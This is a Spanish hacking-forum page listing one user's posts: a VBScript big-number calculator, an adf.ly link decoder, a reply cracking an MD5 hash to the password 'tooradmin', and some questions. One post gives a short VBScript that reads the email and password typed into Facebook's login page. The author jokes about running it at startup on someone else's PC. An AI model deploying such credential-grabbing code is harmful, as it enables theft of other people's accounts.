Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Flamer

Páginas 1 2 3
#41
Dudas y pedidos generales / Re:[SOLUCIONADO] Que tipo de cifrado es el que explico aca ?
Enero 13, 2017, 07:58:22 PM
Hola binar1io si separamos la cadena con espacios quedaria asi

Código: text

61 66 36 62 66 62 61 64 64 64 64 63 65 65 36 39 34 66 39 33 30 31 66 30 62 62 37 33 64 63 36 32


y si visitamos una web como esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

y convertimos la cadena anteriror hexadecimal a ascii nos arroja esto

Código: text

af6bfbaddddcee694f9301f0bb73dc62


lo cual es un hash MD5 y ahora visitamos esta pagina para decifrarla  You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

y nos arroja la clave que es esta

Código: text
tooradmin


y puedes comprovar codificando la palabra "tooradmin" a MD5 y te arroja el hash "af6bfbaddddcee694f9301f0bb73dc62"

te dejo esta web You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Saludos Flamer


#42
Otros lenguajes Scripting / [Aporte] Super Calculadora
Diciembre 31, 2016, 04:45:48 PM
Ahora vengo con otro código una calculadora en Vbscript de numeros grandes
la idea me surgio al ver esta pagina: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Pero en algunas operaciones observe que no daba el resultado correcto así que hice la mía mejor.

Nota: si ponen muy grandes tardara en hacer la operación

Aquí el code

Código
Código: vb
Option Explicit
 
Dim num1, num2, n, m, x, op, r,v
 
num2 = inputbox("Introduce El Primer Numero")'"123654789"
num1 = inputbox("Introduce Segundo Numero")'"147852369"
 
ReDim n(Len(num1)), m(Len(num2))
 
For x = 1 To Len(num1)
   n(x) = CInt(Mid(num1, x, 1))
Next
 
For x = 1 To Len(num2)
   m(x) = CInt(Mid(num2, x, 1))
Next
 
op = InputBox("1- Sumar" & vbCrLf & "2- Restar" & vbCrLf & "3- Multiplicar" & vbCrLf & "4- Dividir")
 
Select Case op
   Case "1"
      r = sumar(n, m)
   Case "2"
      r = RestaroDividir(n, m, op)
   Case "3"
      v = mmi(num1,num2)
      if v = "+" then
	     r = multiplicar(n,m)
	  elseif v = "-" then
         r = multiplicar(m, n)
      else
	     r = multiplicar(n, m)
	  end if      
   Case "4"
      r = RestaroDividir(n, m, op)
End Select
MsgBox r
r = Replace(r, " ", "")
 
Function Dividir(n, m)
On Error Resume Next
   Dim num1, num2, pf, d, x, s, j, r, mk
 
   num1 = Replace(Join(n), " ", "")
   num2 = Replace(Join(m), " ", "")
 
   pf = UBound(m)
 
   d = Mid(num1, 1, pf)
 
   While pf <= UBound(n)  'pf
 
      Select Case mmi(d, num2)
         Case "+"
            x = "0"
            s = "0"
            ReDim md(Len(d))
            For j = 1 To Len(d)
               md(j) = Mid(d, j, 1)
            Next
            While mmi(s, d) = "-"
               x = CStr(CDbl(x) + 1)
 
               ReDim mx(Len(x))
               ReDim ms(Len(num2))
 
               For j = 1 To Len(num2)
                  ms(j) = Mid(num2, j, 1)
               Next
 
               For j = 1 To Len(x)
                  mx(j) = Mid(x, j, 1)
               Next
               s = Replace(multiplicar(ms, mx), " ", "")
            Wend
            If mmi(s, d) <> "1" Then
                x = CStr(CDbl(x) - 1)
            End If
 
               ReDim mx(Len(x))
 
               For j = 1 To Len(x)
                  mx(j) = Mid(x, j, 1)
               Next
 
               mk = Split(multiplicar(mx, m), " ")
 
               d = Replace(RestaroDividir(mk, md, "2"), " ", "")
               While Mid(d, 1, 1) = "0"
                  d = Mid(d, 2, Len(d))
               Wend
 
               r = r & x
 
              pf = pf + 1
              d = d & n(pf)
 
         Case "-"
            r = r & "0"
            pf = pf + 1
            d = d & n(pf)
         Case "1"
            r = r & "1"
            pf = pf + 1
            d = n(pf)
      End Select
   Wend
   While Mid(r, 1, 1) = "0"
      r = Mid(r, 2, Len(r))
   Wend
   Dividir = "Caben:-" & r & "----Sobran:-" & d
End Function
 
Function mmi(num1, num2)
   Dim x, r
 
   While Mid(num1, 1, 1) = "0"
      num1 = Mid(num1, 2, Len(num1))
   Wend
   While Mid(num2, 1, 1) = "0"
      num2 = Mid(num2, 2, Len(num2))
   Wend
 
   If Len(num1) > Len(num2) Then
      r = "+"
   ElseIf Len(num1) = Len(num2) Then
      For x = 1 To Len(num1)
         If CInt(Mid(num1, x, 1)) > CInt(Mid(num2, x, 1)) Then
            r = "+"
            Exit For
         ElseIf CInt(Mid(num1, x, 1)) < CInt(Mid(num2, x, 1)) Then
            r = "-"
            Exit For
         End If
      Next
   Else
      r = "-"
   End If
 
   If (x - 1) = Len(num1) Then
      mmi = "1"
   Else
      mmi = r
   End If
End Function
'-------------------------------------------------------------------------------------------------------------'
Function RestaroDividir(n, m, op)
   Dim lm, ln, r, x
 
   ln = UBound(n)
   lm = UBound(m)
 
   If ln > lm Then
      r = rd(n, m, op)
   ElseIf ln < lm Then
      r = rd(m, n, op)
   Else
      For x = 1 To UBound(n)
         If n(x) > m(x) Then
             r = rd(n, m, op)
             Exit For
         ElseIf n(x) < m(x) Then
             r = rd(m, n, op)
             Exit For
         End If
      Next
   End If
 
   If r = "" Then
      If op = "2" Then
         RestaroDividir = "0"
      Else
         RestaroDividir = "1"
      End If
   Else
      RestaroDividir = r
   End If
End Function
 
Function rd(n, m, op)
   Dim ln, lm, r
 
   If op = "2" Then
      ln = UBound(n)
      lm = UBound(m)
      r = Restar(ln, lm, n, m)
   Else
      r = Dividir(n, m)
   End If
   rd = r
End Function
'-------------------------------------------Funcion Multiplica---------------------------------------------------'
Function multiplicar(n, m)
   Dim x, y, r, c, s
 
   ReDim a(UBound(m))
 
   For x = UBound(a) To 1 Step -1
      r = Join(n)
      s = Split(r, " ")
      For y = 2 To CInt(m(x))
         r = sumar(n, s)
         s = Split(r, " ")
      Next
      a(x) = r & c
      c = c & " 0"
   Next
 
   s = Split(a(1), " ")
 
   For x = 2 To UBound(a)
      c = Split(a(x), " ")
      r = sumar(s, c)
      s = Split(r, " ")
   Next
   multiplicar = r
End Function
'---------------------------------------------Funcion Restar-------------------------------------------------------'
Function Restar(ln, lm, n, m)
   Dim x, r, a
 
   For x = ln To 1 Step -1
      If lm > 0 Then
         If CInt(n(x)) >= CInt(m(lm)) Then
            r = CStr(n(x) - m(lm)) & " " & r
         Else
            r = CStr(n(x) - m(lm) + 10) & " " & r
            For a = x - 1 To 1 Step -1
               If n(a) = 0 Then
                  n(a) = 9
               Else
                  n(a) = n(a) - 1
                  Exit For
               End If
            Next
         End If
      Else
         r = CStr(n(x)) & " " & r
      End If
      lm = lm - 1
   Next
   While Mid(r, 1, 1) = "0"
         r = Mid(r, 2, Len(r))
   Wend
   Restar = Trim(r)
End Function
'-----------------------------------------Funcion Sumar--------------------------------------------------------------------'
Function sumar(n, m)
   Dim lm, ln, r
 
   ln = UBound(n)
   lm = UBound(m)
 
   If ln >= lm Then
      r = s(ln, lm, n, m)
   Else
      r = s(lm, ln, m, n)
   End If
   sumar = r
End Function
 
Function s(ln, lm, n, m)
   Dim a, b, x, r
   a = 0
   For x = ln To 1 Step -1
      If lm > 0 Then
         a = CInt(n(x)) + CInt(m(lm)) + a
         If a > 9 Then
            b = CStr(a)
            r = Mid(b, 2, 1) & " " & r
            a = CInt(Mid(b, 1, 1))
         Else
            r = CStr(a) & " " & r
            a = 0
         End If
      Else
         a = CInt(n(x)) + a
         If a > 9 Then
            b = CStr(a)
            r = Mid(b, 2, 1) & " " & r
            a = CInt(Mid(b, 1, 1))
         Else
            r = CStr(a) & " " & r
            a = 0
         End If
      End If
      lm = lm - 1
   Next
   If a > 0 Then
      r = CStr(a) & " " & r
   End If
   s = " " & Trim(r)
End Function





Saludos Flamer y me dicen si tiene errores para corregirlos
#43
C# - VB.NET / Re:[Aporte] Ghost Killer Adf.ly by Flamer
Diciembre 31, 2016, 02:40:33 PM
ok entendido a lo mejor tienes razón

#44
C# - VB.NET / Re:[Aporte] Ghost Killer Adf.ly by Flamer
Diciembre 30, 2016, 01:23:34 PM
No creo que tenga algo de malo que utilice objectos, no le perjudica al programa o si

y usar DownloadString solo para que se viera mas profesional y enredoso, pues yo no soy así y creo que es mas simple así que hasta un novato lo entendería y lo hice para que se viera mas simple y diferente a el de doddy ya que el usa ese comando en su Clase DH Tools.

y con lo de los errores si tienes razón estaría mejor usar try/catch pero estoy mas familiarizado con on error resume next

Saludos flamer y no soy bueno programando
#45
C# - VB.NET / [Aporte] Ghost Killer Adf.ly by Flamer
Diciembre 27, 2016, 02:04:38 PM



Proyecto:   Ghost Killer  Adf.ly

        Autor:  Flamer

Referencias: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

            Por:  Doddy

   Lenguaje:  VB:Net 2010    

Descripción: Basado en el programa de Doddy, este también decodifica los enlaces You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login pero con la diferencia de que este tiene un modo de trabajo invisible sin la necesidad de estar llamando al programa cada rato este a párese cuando un enlace You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login asido copiado al porta papeles con la decodificación ya realizada.


Código: vbnet

Public Class Form1
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Timer1.Interval = 3000
        Timer2.Interval = 1
        msg.Visible = False
    End Sub


    Function decodifica(l)
        On Error Resume Next
        Dim web As New Object
        Dim i, f, x As Integer
        Dim a, b, t, code As String

        Err.Number = 0

        web = CreateObject("Microsoft.XmlHttp")
        web.open("Get ", l, False)
        web.send()
        code = web.responseText



        i = InStr(code, "var ysmm")
        f = InStr(code, "var easyUrl") - i
        code = Mid(code, i, f)
        code = Replace(code, "var ysmm = '", "")
        code = Trim(Replace(code, "';", ""))
        a = ""
        b = ""
        If Err.Number <> 0 Then
            decodifica = "...:::Error En La Decodificacion:::..."
        Else
            For x = 1 To Len(code)
                t = (x - 1) Mod 2
                If t = 0 Then
                    a = a & Mid(code, x, 1)
                Else
                    b = Mid(code, x, 1) & b
                End If
            Next


            code = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(a & b))
            decodifica = code.Substring(2)
        End If


    End Function

    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        If url.Text <> "" Then
            If InStr(url.Text, "adf.ly") Then
                Resul.Text = decodifica(url.Text)
            Else
                MsgBox("No Es Una url De adf.ly", , "Aviso De Error")
            End If
        Else
            MsgBox("El Campo Esta Vasio", , "Aviso De Error")
        End If

    End Sub

    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Clipboard.SetData("UnicodeText", Resul.Text)
        msg.Visible = True
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        msg.Visible = False
        Timer1.Stop()
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Me.Visible = False
        Timer2.Start()

    End Sub

    Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
        Dim t As String

        t = CStr(Clipboard.GetData("UnicodeText"))

        If url.Text <> t Then
            If InStr(t, "adf.ly") Then
                url.Text = t
                Resul.Text = decodifica(t)
                If Resul.Text <> "...:::Error En La Decodificacion:::..." Then
                    Timer2.Stop()
                    Me.Visible = True
                End If
                
            End If
        End If
    End Sub

    Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
        Resul.Text = ""
        url.Text = ""
    End Sub
End Class






descarga codigo fuente mas Exe: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#46
Otros lenguajes Scripting / [Aporte] Obtener Nombre De Usuario y Contraseña De Facebook Con Un Simple script
Diciembre 25, 2016, 12:17:55 AM
Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

Código: vb

Set objShell = CreateObject("WScript.Shell")
set IE = CreateObject("InternetExplorer.Application")

IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p


pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript
#47
Dudas y pedidos generales / Crear una extensión punto Null
Septiembre 12, 2016, 01:05:24 AM
hola estoy tratando de crear un archivo similar a este


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

es la foto de flamer le he borrado la extensión y lo remplace por puntos y cuando la descomprimen se crea el archivo flamer.....

y mi pregunta es como logro hacer el archivo flamer......    sin nesesidad del winrar y en un lenguaje de programación

lo intente en You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login y desde msdos y nada


saludos flamer
#48
Visual Basic / Re:[SOURCE] Brute Force Dictionary Creator by 79137913
Septiembre 09, 2016, 12:12:37 PM
Creo que puedes usar un hilo para que la ventana no se trabe y siga funcionando bien, te digo esto por que hace poco estuve realizando un programa y tuve que realizar un hilo para que la ventana siguiera funcionando


saludos Flamer y solo le pasas todo el proceso al hilo
#49
Visual Basic / Re:[SOURCE] Brute Force Dictionary Creator by 79137913
Septiembre 08, 2016, 10:55:55 PM
Cuanto tardaría en hacer un diccionario de longitud 8

saludos flamer y no se traba la ventana del programa
#50
Análisis y desarrollo de malwares / Re:Firefox: Destripando un Addon Malicioso
Febrero 07, 2015, 02:22:13 PM
Interesante

saludos flamer
Páginas 1 2 3